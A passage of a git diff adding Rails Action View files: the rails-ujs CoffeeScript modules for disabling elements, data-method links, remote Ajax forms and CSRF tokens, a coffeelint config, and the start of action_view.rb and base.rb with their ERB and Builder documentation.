+  element = if e instanceof Event then e.target else e
+  if matches(element, Rails.linkDisableSelector)
+    enableLinkElement(element)
+  else if matches(element, Rails.buttonDisableSelector) or matches(element, Rails.formEnableSelector)
+    enableFormElement(element)
+  else if matches(element, Rails.formSubmitSelector)
+    enableFormElements(element)
+
+# Unified function to disable an element (link, button and form)
+Rails.disableElement = (e) ->
+  element = if e instanceof Event then e.target else e
+  if matches(element, Rails.linkDisableSelector)
+    disableLinkElement(element)
+  else if matches(element, Rails.buttonDisableSelector) or matches(element, Rails.formDisableSelector)
+    disableFormElement(element)
+  else if matches(element, Rails.formSubmitSelector)
+    disableFormElements(element)
+
+#  Replace element's html with the 'data-disable-with' after storing original html
+#  and prevent clicking on it
+disableLinkElement = (element) ->
+  replacement = element.getAttribute('data-disable-with')
+  if replacement?
+    setData(element, 'ujs:enable-with', element.innerHTML) # store enabled state
+    element.innerHTML = replacement
+  element.addEventListener('click', stopEverything) # prevent further clicking
+  setData(element, 'ujs:disabled', true)
+
+# Restore element to its original state which was disabled by 'disableLinkElement' above
+enableLinkElement = (element) ->
+  originalText = getData(element, 'ujs:enable-with')
+  if originalText?
+    element.innerHTML = originalText # set to old enabled state
+    setData(element, 'ujs:enable-with', null) # clean up cache
+  element.removeEventListener('click', stopEverything) # enable element
+  setData(element, 'ujs:disabled', null)
+
+# Disables form elements:
+#  - Caches element value in 'ujs:enable-with' data store
+#  - Replaces element text with value of 'data-disable-with' attribute
+#  - Sets disabled property to true
+disableFormElements = (form) ->
+  formElements(form, Rails.formDisableSelector).forEach(disableFormElement)
+
+disableFormElement = (element) ->
+  replacement = element.getAttribute('data-disable-with')
+  if replacement?
+    if matches(element, 'button')
+      setData(element, 'ujs:enable-with', element.innerHTML)
+      element.innerHTML = replacement
+    else
+      setData(element, 'ujs:enable-with', element.value)
+      element.value = replacement
+  element.disabled = true
+  setData(element, 'ujs:disabled', true)
+
+# Re-enables disabled form elements:
+#  - Replaces element text with cached value from 'ujs:enable-with' data store (created in `disableFormElements`)
+#  - Sets disabled property to false
+enableFormElements = (form) ->
+  formElements(form, Rails.formEnableSelector).forEach(enableFormElement)
+
+enableFormElement = (element) ->
+  originalText = getData(element, 'ujs:enable-with')
+  if originalText?
+    if matches(element, 'button')
+      element.innerHTML = originalText
+    else
+      element.value = originalText
+    setData(element, 'ujs:enable-with', null) # clean up cache
+  element.disabled = false
+  setData(element, 'ujs:disabled', null)
diff --git a/actionview/app/assets/javascripts/rails-ujs/features/method.coffee b/actionview/app/assets/javascripts/rails-ujs/features/method.coffee
new file mode 100644
index 0000000000..d04d9414dd
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/features/method.coffee
@@ -0,0 +1,34 @@
+#= require_tree ../utils
+
+{ stopEverything } = Rails
+
+# Handles "data-method" on links such as:
+# <a href="/users/5" data-method="delete" rel="nofollow" data-confirm="Are you sure?">Delete</a>
+Rails.handleMethod = (e) ->
+  link = this
+  method = link.getAttribute('data-method')
+  return unless method
+
+  href = Rails.href(link)
+  csrfToken = Rails.csrfToken()
+  csrfParam = Rails.csrfParam()
+  form = document.createElement('form')
+  formContent = "<input name='_method' value='#{method}' type='hidden' />"
+
+  if csrfParam? and csrfToken? and not Rails.isCrossDomain(href)
+    formContent += "<input name='#{csrfParam}' value='#{csrfToken}' type='hidden' />"
+
+  # Must trigger submit by click on a button, else "submit" event handler won't work!
+  # https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/submit
+  formContent += '<input type="submit" />'
+
+  form.method = 'post'
+  form.action = href
+  form.target = link.target
+  form.innerHTML = formContent
+  form.style.display = 'none'
+
+  document.body.appendChild(form)
+  form.querySelector('[type="submit"]').click()
+
+  stopEverything(e)
diff --git a/actionview/app/assets/javascripts/rails-ujs/features/remote.coffee b/actionview/app/assets/javascripts/rails-ujs/features/remote.coffee
new file mode 100644
index 0000000000..852587042c
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/features/remote.coffee
@@ -0,0 +1,90 @@
+#= require_tree ../utils
+
+{
+  matches, getData, setData
+  fire, stopEverything
+  ajax, isCrossDomain
+  serializeElement
+} = Rails
+
+# Checks "data-remote" if true to handle the request through a XHR request.
+isRemote = (element) ->
+  value = element.getAttribute('data-remote')
+  value? and value isnt 'false'
+
+# Submits "remote" forms and links with ajax
+Rails.handleRemote = (e) ->
+  element = this
+
+  return true unless isRemote(element)
+  unless fire(element, 'ajax:before')
+    fire(element, 'ajax:stopped')
+    return false
+
+  withCredentials = element.getAttribute('data-with-credentials')
+  dataType = element.getAttribute('data-type') or 'script'
+
+  if matches(element, Rails.formSubmitSelector)
+    # memoized value from clicked submit button
+    button = getData(element, 'ujs:submit-button')
+    method = getData(element, 'ujs:submit-button-formmethod') or element.method
+    url = getData(element, 'ujs:submit-button-formaction') or element.getAttribute('action') or location.href
+
+    # strip query string if it's a GET request
+    url = url.replace(/\?.*$/, '') if method.toUpperCase() is 'GET'
+
+    if element.enctype is 'multipart/form-data'
+      data = new FormData(element)
+      data.append(button.name, button.value) if button?
+    else
+      data = serializeElement(element, button)
+
+    setData(element, 'ujs:submit-button', null)
+    setData(element, 'ujs:submit-button-formmethod', null)
+    setData(element, 'ujs:submit-button-formaction', null)
+  else if matches(element, Rails.buttonClickSelector) or matches(element, Rails.inputChangeSelector)
+    method = element.getAttribute('data-method')
+    url = element.getAttribute('data-url')
+    data = serializeElement(element, element.getAttribute('data-params'))
+  else
+    method = element.getAttribute('data-method')
+    url = Rails.href(element)
+    data = element.getAttribute('data-params')
+
+  ajax(
+    type: method or 'GET'
+    url: url
+    data: data
+    dataType: dataType
+    # stopping the "ajax:beforeSend" event will cancel the ajax request
+    beforeSend: (xhr, options) ->
+      if fire(element, 'ajax:beforeSend', [xhr, options])
+        fire(element, 'ajax:send', [xhr])
+      else
+        fire(element, 'ajax:stopped')
+        xhr.abort()
+    success: (args...) -> fire(element, 'ajax:success', args)
+    error: (args...) -> fire(element, 'ajax:error', args)
+    complete: (args...) -> fire(element, 'ajax:complete', args)
+    crossDomain: isCrossDomain(url)
+    withCredentials: withCredentials? and withCredentials isnt 'false'
+  )
+  stopEverything(e)
+
+Rails.formSubmitButtonClick = (e) ->
+  button = this
+  form = button.form
+  return unless form
+  # Register the pressed submit button
+  setData(form, 'ujs:submit-button', name: button.name, value: button.value) if button.name
+  # Save attributes from button
+  setData(form, 'ujs:formnovalidate-button', button.formNoValidate)
+  setData(form, 'ujs:submit-button-formaction', button.getAttribute('formaction'))
+  setData(form, 'ujs:submit-button-formmethod', button.getAttribute('formmethod'))
+
+Rails.handleMetaClick = (e) ->
+  link = this
+  method = (link.getAttribute('data-method') or 'GET').toUpperCase()
+  data = link.getAttribute('data-params')
+  metaClick = e.metaKey or e.ctrlKey
+  e.stopImmediatePropagation() if metaClick and method is 'GET' and not data
diff --git a/actionview/app/assets/javascripts/rails-ujs/start.coffee b/actionview/app/assets/javascripts/rails-ujs/start.coffee
new file mode 100644
index 0000000000..55595ac96f
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/start.coffee
@@ -0,0 +1,70 @@
+{
+  fire, delegate
+  getData, $
+  refreshCSRFTokens, CSRFProtection
+  enableElement, disableElement, handleDisabledElement
+  handleConfirm
+  handleRemote, formSubmitButtonClick, handleMetaClick
+  handleMethod
+} = Rails
+
+# For backward compatibility
+if jQuery? and jQuery.ajax? and not jQuery.rails
+  jQuery.rails = Rails
+  jQuery.ajaxPrefilter (options, originalOptions, xhr) ->
+    CSRFProtection(xhr) unless options.crossDomain
+
+Rails.start = ->
+  # Cut down on the number of issues from people inadvertently including
+  # rails-ujs twice by detecting and raising an error when it happens.
+  throw new Error('rails-ujs has already been loaded!') if window._rails_loaded
+
+  # This event works the same as the load event, except that it fires every
+  # time the page is loaded.
+  # See https://github.com/rails/jquery-ujs/issues/357
+  # See https://developer.mozilla.org/en-US/docs/Using_Firefox_1.5_caching
+  window.addEventListener 'pageshow', ->
+    $(Rails.formEnableSelector).forEach (el) ->
+      enableElement(el) if getData(el, 'ujs:disabled')
+    $(Rails.linkDisableSelector).forEach (el) ->
+      enableElement(el) if getData(el, 'ujs:disabled')
+
+  delegate document, Rails.linkDisableSelector, 'ajax:complete', enableElement
+  delegate document, Rails.linkDisableSelector, 'ajax:stopped', enableElement
+  delegate document, Rails.buttonDisableSelector, 'ajax:complete', enableElement
+  delegate document, Rails.buttonDisableSelector, 'ajax:stopped', enableElement
+
+  delegate document, Rails.linkClickSelector, 'click', handleDisabledElement
+  delegate document, Rails.linkClickSelector, 'click', handleConfirm
+  delegate document, Rails.linkClickSelector, 'click', handleMetaClick
+  delegate document, Rails.linkClickSelector, 'click', disableElement
+  delegate document, Rails.linkClickSelector, 'click', handleRemote
+  delegate document, Rails.linkClickSelector, 'click', handleMethod
+
+  delegate document, Rails.buttonClickSelector, 'click', handleDisabledElement
+  delegate document, Rails.buttonClickSelector, 'click', handleConfirm
+  delegate document, Rails.buttonClickSelector, 'click', disableElement
+  delegate document, Rails.buttonClickSelector, 'click', handleRemote
+
+  delegate document, Rails.inputChangeSelector, 'change', handleDisabledElement
+  delegate document, Rails.inputChangeSelector, 'change', handleConfirm
+  delegate document, Rails.inputChangeSelector, 'change', handleRemote
+
+  delegate document, Rails.formSubmitSelector, 'submit', handleDisabledElement
+  delegate document, Rails.formSubmitSelector, 'submit', handleConfirm
+  delegate document, Rails.formSubmitSelector, 'submit', handleRemote
+  # Normal mode submit
+  # Slight timeout so that the submit button gets properly serialized
+  delegate document, Rails.formSubmitSelector, 'submit', (e) -> setTimeout((-> disableElement(e)), 13)
+  delegate document, Rails.formSubmitSelector, 'ajax:send', disableElement
+  delegate document, Rails.formSubmitSelector, 'ajax:complete', enableElement
+
+  delegate document, Rails.formInputClickSelector, 'click', handleDisabledElement
+  delegate document, Rails.formInputClickSelector, 'click', handleConfirm
+  delegate document, Rails.formInputClickSelector, 'click', formSubmitButtonClick
+
+  document.addEventListener('DOMContentLoaded', refreshCSRFTokens)
+  window._rails_loaded = true
+
+if window.Rails is Rails and fire(document, 'rails:attachBindings')
+  Rails.start()
diff --git a/actionview/app/assets/javascripts/rails-ujs/utils/ajax.coffee b/actionview/app/assets/javascripts/rails-ujs/utils/ajax.coffee
new file mode 100644
index 0000000000..a653d3af3d
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/utils/ajax.coffee
@@ -0,0 +1,96 @@
+#= require ./csrf
+#= require ./event
+
+{ CSRFProtection, fire } = Rails
+
+AcceptHeaders =
+  '*': '*/*'
+  text: 'text/plain'
+  html: 'text/html'
+  xml: 'application/xml, text/xml'
+  json: 'application/json, text/javascript'
+  script: 'text/javascript, application/javascript, application/ecmascript, application/x-ecmascript'
+
+Rails.ajax = (options) ->
+  options = prepareOptions(options)
+  xhr = createXHR options, ->
+    response = processResponse(xhr.response ? xhr.responseText, xhr.getResponseHeader('Content-Type'))
+    if xhr.status // 100 == 2
+      options.success?(response, xhr.statusText, xhr)
+    else
+      options.error?(response, xhr.statusText, xhr)
+    options.complete?(xhr, xhr.statusText)
+  # Call beforeSend hook
+  options.beforeSend?(xhr, options)
+  # Send the request
+  if xhr.readyState is XMLHttpRequest.OPENED
+    xhr.send(options.data)
+  else
+    fire(document, 'ajaxStop') # to be compatible with jQuery.ajax
+
+prepareOptions = (options) ->
+  options.url = options.url or location.href
+  options.type = options.type.toUpperCase()
+  # append data to url if it's a GET request
+  if options.type is 'GET' and options.data
+    if options.url.indexOf('?') < 0
+      options.url += '?' + options.data
+    else
+      options.url += '&' + options.data
+  # Use "*" as default dataType
+  options.dataType = '*' unless AcceptHeaders[options.dataType]?
+  options.accept = AcceptHeaders[options.dataType]
+  options.accept += ', */*; q=0.01' if options.dataType isnt '*'
+  options
+
+createXHR = (options, done) ->
+  xhr = new XMLHttpRequest()
+  # Open and setup xhr
+  xhr.open(options.type, options.url, true)
+  xhr.setRequestHeader('Accept', options.accept)
+  # Set Content-Type only when sending a string
+  # Sending FormData will automatically set Content-Type to multipart/form-data
+  if typeof options.data is 'string'
+    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8')
+  xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest') unless options.crossDomain
+  # Add X-CSRF-Token
+  CSRFProtection(xhr)
+  xhr.withCredentials = !!options.withCredentials
+  xhr.onreadystatechange = ->
+    done(xhr) if xhr.readyState is XMLHttpRequest.DONE
+  xhr
+
+processResponse = (response, type) ->
+  if typeof response is 'string' and typeof type is 'string'
+    if type.match(/\bjson\b/)
+      try response = JSON.parse(response)
+    else if type.match(/\b(?:java|ecma)script\b/)
+      script = document.createElement('script')
+      script.text = response
+      document.head.appendChild(script).parentNode.removeChild(script)
+    else if type.match(/\b(xml|html|svg)\b/)
+      parser = new DOMParser()
+      type = type.replace(/;.+/, '') # remove something like ';charset=utf-8'
+      try response = parser.parseFromString(response, type)
+  response
+
+# Default way to get an element's href. May be overridden at Rails.href.
+Rails.href = (element) -> element.href
+
+# Determines if the request is a cross domain request.
+Rails.isCrossDomain = (url) ->
+  originAnchor = document.createElement('a')
+  originAnchor.href = location.href
+  urlAnchor = document.createElement('a')
+  try
+    urlAnchor.href = url
+    # If URL protocol is false or is a string containing a single colon
+    # *and* host are false, assume it is not a cross-domain request
+    # (should only be the case for IE7 and IE compatibility mode).
+    # Otherwise, evaluate protocol and host of the URL against the origin
+    # protocol and host.
+    !(((!urlAnchor.protocol || urlAnchor.protocol == ':') && !urlAnchor.host) ||
+      (originAnchor.protocol + '//' + originAnchor.host == urlAnchor.protocol + '//' + urlAnchor.host))
+  catch e
+    # If there is an error parsing the URL, assume it is crossDomain.
+    true
diff --git a/actionview/app/assets/javascripts/rails-ujs/utils/csrf.coffee b/actionview/app/assets/javascripts/rails-ujs/utils/csrf.coffee
new file mode 100644
index 0000000000..4eb5ebb414
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/utils/csrf.coffee
@@ -0,0 +1,25 @@
+#= require ./dom
+
+{ $ } = Rails
+
+# Up-to-date Cross-Site Request Forgery token
+csrfToken = Rails.csrfToken = ->
+  meta = document.querySelector('meta[name=csrf-token]')
+  meta and meta.content
+
+# URL param that must contain the CSRF token
+csrfParam = Rails.csrfParam = ->
+  meta = document.querySelector('meta[name=csrf-param]')
+  meta and meta.content
+
+# Make sure that every Ajax request sends the CSRF token
+Rails.CSRFProtection = (xhr) ->
+  token = csrfToken()
+  xhr.setRequestHeader('X-CSRF-Token', token) if token?
+
+# Make sure that all forms have actual up-to-date tokens (cached forms contain old ones)
+Rails.refreshCSRFTokens = ->
+  token = csrfToken()
+  param = csrfParam()
+  if token? and param?
+    $('form input[name="' + param + '"]').forEach (input) -> input.value = token
diff --git a/actionview/app/assets/javascripts/rails-ujs/utils/dom.coffee b/actionview/app/assets/javascripts/rails-ujs/utils/dom.coffee
new file mode 100644
index 0000000000..6bef618147
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/utils/dom.coffee
@@ -0,0 +1,28 @@
+m = Element.prototype.matches or
+    Element.prototype.matchesSelector or
+    Element.prototype.mozMatchesSelector or
+    Element.prototype.msMatchesSelector or
+    Element.prototype.oMatchesSelector or
+    Element.prototype.webkitMatchesSelector
+
+Rails.matches = (element, selector) ->
+  if selector.exclude?
+    m.call(element, selector.selector) and not m.call(element, selector.exclude)
+  else
+    m.call(element, selector)
+
+# get and set data on a given element using "expando properties"
+# See: https://developer.mozilla.org/en-US/docs/Glossary/Expando
+expando = '_ujsData'
+
+Rails.getData = (element, key) ->
+  element[expando]?[key]
+
+Rails.setData = (element, key, value) ->
+  element[expando] ?= {}
+  element[expando][key] = value
+
+# a wrapper for document.querySelectorAll
+# returns an Array
+Rails.$ = (selector) ->
+  Array.prototype.slice.call(document.querySelectorAll(selector))
diff --git a/actionview/app/assets/javascripts/rails-ujs/utils/event.coffee b/actionview/app/assets/javascripts/rails-ujs/utils/event.coffee
new file mode 100644
index 0000000000..8d3ff007ea
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/utils/event.coffee
@@ -0,0 +1,40 @@
+#= require ./dom
+
+{ matches } = Rails
+
+# Polyfill for CustomEvent in IE9+
+# https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent#Polyfill
+CustomEvent = window.CustomEvent
+
+if typeof CustomEvent isnt 'function'
+  CustomEvent = (event, params) ->
+    evt = document.createEvent('CustomEvent')
+    evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail)
+    evt
+  CustomEvent.prototype = window.Event.prototype
+
+# Triggers a custom event on an element and returns false if the event result is false
+fire = Rails.fire = (obj, name, data) ->
+  event = new CustomEvent(
+    name,
+    bubbles: true,
+    cancelable: true,
+    detail: data,
+  )
+  obj.dispatchEvent(event)
+  !event.defaultPrevented
+
+# Helper function, needed to provide consistent behavior in IE
+Rails.stopEverything = (e) ->
+  fire(e.target, 'ujs:everythingStopped')
+  e.preventDefault()
+  e.stopPropagation()
+  e.stopImmediatePropagation()
+
+Rails.delegate = (element, selector, eventType, handler) ->
+  element.addEventListener eventType, (e) ->
+    target = e.target
+    target = target.parentNode until not (target instanceof Element) or matches(target, selector)
+    if target instanceof Element and handler.call(target, e) == false
+      e.preventDefault()
+      e.stopPropagation()
diff --git a/actionview/app/assets/javascripts/rails-ujs/utils/form.coffee b/actionview/app/assets/javascripts/rails-ujs/utils/form.coffee
new file mode 100644
index 0000000000..5fa337b518
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/utils/form.coffee
@@ -0,0 +1,36 @@
+#= require ./dom
+
+{ matches } = Rails
+
+toArray = (e) -> Array.prototype.slice.call(e)
+
+Rails.serializeElement = (element, additionalParam) ->
+  inputs = [element]
+  inputs = toArray(element.elements) if matches(element, 'form')
+  params = []
+
+  inputs.forEach (input) ->
+    return unless input.name
+    if matches(input, 'select')
+      toArray(input.options).forEach (option) ->
+        params.push(name: input.name, value: option.value) if option.selected
+    else if input.checked or ['radio', 'checkbox', 'submit'].indexOf(input.type) == -1
+      params.push(name: input.name, value: input.value)
+
+  params.push(additionalParam) if additionalParam
+
+  params.map (param) ->
+    if param.name?
+      "#{encodeURIComponent(param.name)}=#{encodeURIComponent(param.value)}"
+    else
+      param
+  .join('&')
+
+# Helper function that returns form elements that match the specified CSS selector
+# If form is actually a "form" element this will return associated elements outside the from that have
+# the html form attribute set
+Rails.formElements = (form, selector) ->
+  if matches(form, 'form')
+    toArray(form.elements).filter (el) -> matches(el, selector)
+  else
+    toArray(form.querySelectorAll(selector))
diff --git a/actionview/bin/test b/actionview/bin/test
new file mode 100755
index 0000000000..c53377cc97
--- /dev/null
+++ b/actionview/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/actionview/blade.yml b/actionview/blade.yml
new file mode 100644
index 0000000000..9e5eb953a4
--- /dev/null
+++ b/actionview/blade.yml
@@ -0,0 +1,11 @@
+load_paths:
+  - app/assets/javascripts
+
+logical_paths:
+  - rails-ujs.js
+
+build:
+  logical_paths:
+    - rails-ujs.js
+  path: lib/assets/compiled
+  clean: true
diff --git a/actionview/coffeelint.json b/actionview/coffeelint.json
new file mode 100644
index 0000000000..cf8bf2171b
--- /dev/null
+++ b/actionview/coffeelint.json
@@ -0,0 +1,135 @@
+{
+  "arrow_spacing": {
+    "level": "warn"
+  },
+  "braces_spacing": {
+    "level": "warn",
+    "spaces": 1,
+    "empty_object_spaces": 0
+  },
+  "camel_case_classes": {
+    "level": "error"
+  },
+  "coffeescript_error": {
+    "level": "error"
+  },
+  "colon_assignment_spacing": {
+    "level": "warn",
+    "spacing": {
+      "left": 0,
+      "right": 1
+    }
+  },
+  "cyclomatic_complexity": {
+    "level": "warn",
+    "value": 10
+  },
+  "duplicate_key": {
+    "level": "error"
+  },
+  "empty_constructor_needs_parens": {
+    "level": "warn"
+  },
+  "ensure_comprehensions": {
+    "level": "warn"
+  },
+  "eol_last": {
+    "level": "warn"
+  },
+  "indentation": {
+    "value": 2,
+    "level": "error"
+  },
+  "line_endings": {
+    "level": "warn",
+    "value": "unix"
+  },
+  "max_line_length": {
+    "value": 80,
+    "level": "ignore",
+    "limitComments": true
+  },
+  "missing_fat_arrows": {
+    "level": "ignore"
+  },
+  "newlines_after_classes": {
+    "value": 3,
+    "level": "warn"
+  },
+  "no_backticks": {
+    "level": "error"
+  },
+  "no_debugger": {
+    "level": "warn",
+    "console": false
+  },
+  "no_empty_functions": {
+    "level": "warn"
+  },
+  "no_empty_param_list": {
+    "level": "warn"
+  },
+  "no_implicit_braces": {
+    "level": "ignore",
+    "strict": true
+  },
+  "no_implicit_parens": {
+    "level": "ignore",
+    "strict": true
+  },
+  "no_interpolation_in_single_quotes": {
+    "level": "warn"
+  },
+  "no_nested_string_interpolation": {
+    "level": "warn"
+  },
+  "no_plusplus": {
+    "level": "warn"
+  },
+  "no_private_function_fat_arrows": {
+    "level": "warn"
+  },
+  "no_stand_alone_at": {
+    "level": "warn"
+  },
+  "no_tabs": {
+    "level": "error"
+  },
+  "no_this": {
+    "level": "warn"
+  },
+  "no_throwing_strings": {
+    "level": "error"
+  },
+  "no_trailing_semicolons": {
+    "level": "error"
+  },
+  "no_trailing_whitespace": {
+    "level": "error",
+    "allowed_in_comments": false,
+    "allowed_in_empty_lines": true
+  },
+  "no_unnecessary_double_quotes": {
+    "level": "warn"
+  },
+  "no_unnecessary_fat_arrows": {
+    "level": "warn"
+  },
+  "non_empty_constructor_needs_parens": {
+    "level": "warn"
+  },
+  "prefer_english_operator": {
+    "level": "ignore",
+    "doubleNotLevel": "warn"
+  },
+  "space_operators": {
+    "level": "warn"
+  },
+  "spacing_after_comma": {
+    "level": "warn"
+  },
+  "transform_messes_up_line_numbers": {
+    "level": "warn"
+  }
+}
+
diff --git a/actionview/lib/action_view.rb b/actionview/lib/action_view.rb
new file mode 100644
index 0000000000..3c8a8488a5
--- /dev/null
+++ b/actionview/lib/action_view.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require_relative "action_view/version"
+
+module ActionView
+  extend ActiveSupport::Autoload
+
+  ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+  eager_autoload do
+    autoload :Base
+    autoload :Context
+    autoload :CompiledTemplates, "action_view/context"
+    autoload :Digestor
+    autoload :Helpers
+    autoload :LookupContext
+    autoload :Layouts
+    autoload :PathSet
+    autoload :RecordIdentifier
+    autoload :Rendering
+    autoload :RoutingUrlFor
+    autoload :Template
+    autoload :ViewPaths
+
+    autoload_under "renderer" do
+      autoload :Renderer
+      autoload :AbstractRenderer
+      autoload :PartialRenderer
+      autoload :TemplateRenderer
+      autoload :StreamingTemplateRenderer
+    end
+
+    autoload_at "action_view/template/resolver" do
+      autoload :Resolver
+      autoload :PathResolver
+      autoload :OptimizedFileSystemResolver
+      autoload :FallbackFileSystemResolver
+    end
+
+    autoload_at "action_view/buffers" do
+      autoload :OutputBuffer
+      autoload :StreamingBuffer
+    end
+
+    autoload_at "action_view/flows" do
+      autoload :OutputFlow
+      autoload :StreamingFlow
+    end
+
+    autoload_at "action_view/template/error" do
+      autoload :MissingTemplate
+      autoload :ActionViewError
+      autoload :EncodingError
+      autoload :MissingRequestError
+      autoload :TemplateError
+      autoload :WrongEncodingError
+    end
+  end
+
+  autoload :TestCase
+
+  def self.eager_load!
+    super
+    ActionView::Helpers.eager_load!
+    ActionView::Template.eager_load!
+  end
+end
+
+require "active_support/core_ext/string/output_safety"
+
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << File.expand_path("action_view/locale/en.yml", __dir__)
+end
diff --git a/actionview/lib/action_view/base.rb b/actionview/lib/action_view/base.rb
new file mode 100644
index 0000000000..637c8e7708
--- /dev/null
+++ b/actionview/lib/action_view/base.rb
@@ -0,0 +1,215 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attr_internal"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/ordered_options"
+require_relative "log_subscriber"
+require_relative "helpers"
+require_relative "context"
+require_relative "template"
+require_relative "lookup_context"
+
+module ActionView #:nodoc:
+  # = Action View Base
+  #
+  # Action View templates can be written in several ways.
+  # If the template file has a <tt>.erb</tt> extension, then it uses the erubi[https://rubygems.org/gems/erubi]
+  # template system which can embed Ruby into an HTML document.
+  # If the template file has a <tt>.builder</tt> extension, then Jim Weirich's Builder::XmlMarkup library is used.
+  #
+  # == ERB
+  #
+  # You trigger ERB by using embeddings such as <tt><% %></tt>, <tt><% -%></tt>, and <tt><%= %></tt>. The <tt><%= %></tt> tag set is used when you want output. Consider the
+  # following loop for names:
+  #
+  #   <b>Names of all the people</b>
+  #   <% @people.each do |person| %>
+  #     Name: <%= person.name %><br/>
+  #   <% end %>
+  #
+  # The loop is setup in regular embedding tags <tt><% %></tt>, and the name is written using the output embedding tag <tt><%= %></tt>. Note that this
+  # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+  #
+  #   <%# WRONG %>
+  #   Hi, Mr. <% puts "Frodo" %>
+  #
+  # If you absolutely must write from within a function use +concat+.
+  #
+  # When on a line that only contains whitespaces except for the tag, <tt><% %></tt> suppresses leading and trailing whitespace,
+  # including the trailing newline. <tt><% %></tt> and <tt><%- -%></tt> are the same.
+  # Note however that <tt><%= %></tt> and <tt><%= -%></tt> are different: only the latter removes trailing whitespaces.
+  #
+  # === Using sub templates
+  #
+  # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+  # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+  #
+  #   <%= render "shared/header" %>
+  #   Something really specific and terrific
+  #   <%= render "shared/footer" %>
+  #
+  # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+  # result of the rendering. The output embedding writes it to the current template.
+  #
+  # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+  # variables defined using the regular embedding tags. Like this:
+  #
+  #   <% @page_title = "A Wonderful Hello" %>
+  #   <%= render "shared/header" %>
+  #
+  # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+  #
+  #   <title><%= @page_title %></title>
+  #
+  # === Passing local variables to sub templates
+  #
+  # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+  #
+  #   <%= render "shared/header", { headline: "Welcome", person: person } %>
+  #
+  # These can now be accessed in <tt>shared/header</tt> with:
+  #
+  #   Headline: <%= headline %>
+  #   First name: <%= person.first_name %>
+  #
+  # The local variables passed to sub templates can be accessed as a hash using the <tt>local_assigns</tt> hash. This lets you access the
+  # variables as:
+  #
+  #   Headline: <%= local_assigns[:headline] %>
+  #
+  # This is useful in cases where you aren't sure if the local variable has been assigned. Alternatively, you could also use
+  # <tt>defined? headline</tt> to first check if the variable has been assigned before using it.
+  #
+  # === Template caching
+  #
+  # By default, Rails will compile each template to a method in order to render it. When you alter a template,
+  # Rails will check the file's modification time and recompile it in development mode.
+  #
+  # == Builder
+  #
+  # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
+  # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+  #
+  # Here are some basic examples:
+  #
+  #   xml.em("emphasized")                                 # => <em>emphasized</em>
+  #   xml.em { xml.b("emph & bold") }                      # => <em><b>emph &amp; bold</b></em>
+  #   xml.a("A Link", "href" => "http://onestepback.org")  # => <a href="http://onestepback.org">A Link</a>
+  #   xml.target("name" => "compile", "option" => "fast")  # => <target option="fast" name="compile"\>
+  #                                                        # NOTE: order of attributes is not specified.
+  #
+  # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+  #
+  #   xml.div do
+  #     xml.h1(@person.name)
+  #     xml.p(@person.bio)
+  #   end
+  #
+  # would produce something like:
+  #
+  #   <div>
+  #     <h1>David Heinemeier Hansson</h1>
+  #     <p>A product of Danish Design during the Winter of '79...</p>
+  #   </div>
+  #
+  # Here is a full-length RSS example actually used on Basecamp:
+  #
+  #   xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  #     xml.channel do
+  #       xml.title(@feed_title)
+  #       xml.link(@url)
+  #       xml.description "Basecamp: Recent items"
+  #       xml.language "en-us"
+  #       xml.ttl "40"
+  #
+  #       @recent_items.each do |item|
+  #         xml.item do
+  #           xml.title(item_title(item))
+  #           xml.description(item_description(item)) if item_description(item)
+  #           xml.pubDate(item_pubDate(item))
